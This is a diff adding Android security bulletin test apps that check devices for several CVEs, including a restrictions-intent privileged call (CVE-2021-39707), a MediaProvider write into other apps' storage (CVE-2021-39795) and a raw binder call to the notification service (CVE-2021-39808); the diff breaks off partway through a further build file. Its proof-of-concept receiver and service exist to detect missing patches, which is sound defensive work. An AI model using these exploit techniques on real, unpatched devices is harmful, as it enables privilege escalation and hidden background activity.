diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 00000000000..db3acb09a05
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ /* Start the "User Settings" window */
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ Context context = getApplicationContext();
+ context.startActivity(intent);
+ String settingsPkgName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ settingsPkgName =
+ (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+ : settingsPkgName;
+
+ /*
+ * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added
+ * before
+ */
+ final int uiTimeoutMs = 5000;
+ String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+ BySelector selector = By.text(textRestrictedUser);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /* Click on the text "App & content access" */
+ String textAppContentAccess = context.getString(R.string.textAppContentAccess);
+ selector = By.text(textAppContentAccess);
+ assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /*
+ * Click on the icon with resource name
+ * "com.android.settings:id/app_restrictions_settings" next to the test app
+ * "CVE-2021-39707"
+ */
+ UiScrollable scrollable = new UiScrollable(new UiSelector());
+ String textTestApp = context.getString(R.string.testAppLabel);
+ scrollable.scrollTextIntoView(textTestApp);
+ selector = By.text(textTestApp);
+ assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+ * which indicates vulnerable behaviour
+ */
+ TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+ selector = By.pkg(telecomManager.getSystemDialerPackage());
+ assertFalse(context.getString(R.string.testFailMsg),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
new file mode 100644
index 00000000000..92645c498f8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.app.Activity;
+
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 00000000000..6d4caae068b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ } catch (Exception e) {
+ // ignore all exceptions, in the worst case, any exception caught here indicates that
+ // setting extra intent was unsuccessful, so test will pass in the worst case.
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
new file mode 100644
index 00000000000..ade2215f2d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39795",
+ defaults: [
+ "cts_support_defaults"
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.core",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
new file mode 100644
index 00000000000..cb42aedc255
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39795">
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39795" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
new file mode 100644
index 00000000000..19ea461d4cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="filePath">Android/data/CVE-2021-39795-dir/</string>
+ <string name="fileContent">Bypassed by MediaProvider</string>
+ <string name="fileName">CVE-2021-39795-file</string>
+ <string name="external">external</string>
+ <string name="secondFixFailure">Second Fix Patch not applied.
+ Please Apply second Fix Patch!!</string>
+ <string name="fileUtilPkg">com.android.providers.media.util.FileUtils</string>
+ <string name="isDataOrObbPathMethod">isDataOrObbPath</string>
+ <string name="mediaProviderPkg">com.android.providers.media.module</string>
+ <string name="sampleFilePath">/storage/emulated/0/Android/data/foo</string>
+ <string name="failure">Device vulnerable to b/201667614! Any app with
+ MANAGE_EXTERNAL_STORAGE permission can write into other apps private
+ external directory.</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
new file mode 100644
index 00000000000..8d3ff0a9602
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39795;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.res.Resources;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testFilePresence() {
+ boolean isSecondPatchAbsent = false;
+ Resources resources = null;
+ OutputStream outputStream = null;
+ try {
+ // Accessing FileUtils.isDataOrObbPath() to detect the presence of second patch of fix.
+ Context context = getApplicationContext();
+ resources = context.getResources();
+ Context mediaProviderContext =
+ context.createPackageContext(resources.getString(R.string.mediaProviderPkg),
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader fileUtilsClassLoader = mediaProviderContext.getClassLoader();
+ Class<?> FileUtilsClass =
+ fileUtilsClassLoader.loadClass(resources.getString(R.string.fileUtilPkg));
+ Method isDataOrObbPathMethod = FileUtilsClass.getDeclaredMethod(
+ resources.getString(R.string.isDataOrObbPathMethod), String.class);
+ isDataOrObbPathMethod.setAccessible(true);
+ isSecondPatchAbsent = (boolean) isDataOrObbPathMethod.invoke(this,
+ resources.getString(R.string.sampleFilePath));
+
+ // Checking write into external directory.
+ ContentValues values = new ContentValues();
+ ContentResolver contentResolver = context.getContentResolver();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ resources.getString(R.string.filePath));
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME,
+ resources.getString(R.string.fileName));
+ outputStream = contentResolver.openOutputStream(contentResolver.insert(
+ MediaStore.Files.getContentUri(resources.getString(R.string.external)),
+ values));
+ outputStream.write(resources.getString(R.string.fileContent).getBytes());
+
+ /*
+ * If control flow has reached till this point it means no exception anywhere and fix is
+ * not present and it is vulnerable to the bug.
+ */
+ fail(resources.getString(R.string.failure));
+ } catch (IllegalArgumentException e) {
+ // First fix patch is applied, ignore this exception.
+ if (isSecondPatchAbsent) {
+ // Fail the test as Latest Fix Patch is not applied
+ fail(resources.getString(R.string.secondFixFailure));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ outputStream.close();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
new file mode 100644
index 00000000000..13a86e3b68e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39808",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
new file mode 100644
index 00000000000..0394d6ccb6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39808">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <application>
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39808" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
new file mode 100644
index 00000000000..8e7d104c6d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="assumptionFailure">4</integer>
+ <integer name="fail">2</integer>
+ <integer name="falseVal">-1</integer>
+ <integer name="height">50</integer>
+ <integer name="pass">3</integer>
+ <integer name="setFlag">1</integer>
+ <integer name="timeoutMs">10000</integer>
+ <integer name="value">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
new file mode 100644
index 00000000000..f4fb7413e40
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="assumptionFailure">Assumption failure occurred</string>
+ <string name="errorNoMethodFound">No method found</string>
+ <string name="errorTargetMethodNotFound">Target method not found</string>
+ <string name="flag">flag</string>
+ <string name="functionName">createNotificationChannelGroups</string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="illegalCode">Illegal Code</string>
+ <string name="messageKey">MESSAGE</string>
+ <string name="resultKey">RESULT</string>
+ <string name="message">message</string>
+ <string name="notification">notification</string>
+ <string name="passMessage">Passed</string>
+ <string name="sharedPreference">CVE_2021_39808</string>
+ <string name="vulnerableMessage">
+ Vulnerable to b/209966086!! Foreground service ran without user notification
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
new file mode 100644
index 00000000000..a32638dda2c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testService() {
+ try {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocService.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startService(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
new file mode 100644
index 00000000000..73b0df4adfb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import android.app.INotificationManager;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ServiceManager;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ setResult(getResources().getInteger(R.integer.fail),
+ getResources().getString(R.string.vulnerableMessage));
+ createNotificationGroup();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void createNotificationGroup() throws Exception {
+ IBinder binder = ServiceManager
+ .getService(getResources().getString(R.string.notification));
+ int serviceId = getTransactionCode(
+ getResources().getString(R.string.functionName));
+ if (serviceId == -1) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorNoMethodFound));
+ return;
+ } else if (serviceId == -2) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorTargetMethodNotFound));
+ return;
+ }
+ createNotificationGroup(binder, serviceId);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(
+ NOTIFICATION_SERVICE);
+ NotificationChannelGroup notificationChannelGroup = notificationManager
+ .getNotificationChannelGroup(
+ getResources().getString(R.string.groupId));
+ if (!notificationChannelGroup.isBlocked()) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getResources().getString(R.string.passMessage));
+ }
+ }
+
+ int getTransactionCode(String methodName) {
+ int txCode = IBinder.FIRST_CALL_TRANSACTION;
+ String txName = INotificationManager.Stub
+ .getDefaultTransactionName(txCode);
+ if (txName == null) {
+ return -1;
+ }
+ while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
+ txName = INotificationManager.Stub
+ .getDefaultTransactionName(++txCode);
+ if (txName.equals(methodName)) {
+ break;
+ }
+ }
+ if (txName == null) {
+ return -2;
+ }
+ return txCode;
+ }
+
+ void createNotificationGroup(IBinder binder, int code) throws Exception {
+ String description = binder.getInterfaceDescriptor();
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken(description);
+ data.writeString(this.getPackageName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeString(NotificationChannelGroup.class.getName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
+ data.writeString(getResources().getString(R.string.groupId));
+ TextUtils.writeToParcel(getResources().getString(R.string.group), data,
+ getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.value));
+ data.writeInt(getResources().getInteger(R.integer.falseVal));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ boolean val = (boolean) binder.transact(code, data, reply,
+ getResources().getInteger(R.integer.value));
+ if (!val) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getResources().getString(R.string.illegalCode));
+ }
+ reply.readException();
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
index 9f7ac842f5b..731eac43717 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
android:label="CVE-2022-20007-Attacker"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".PocAttackerActivity"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
</activity>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
index ad87ea7434f..988517e8670 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
@@ -20,7 +20,7 @@ import android.app.Activity;
import android.os.Bundle;
import android.view.WindowManager;
-public class PocActivity extends Activity {
+public class PocAttackerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
new file mode 100644
index 00000000000..98d59623a28
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
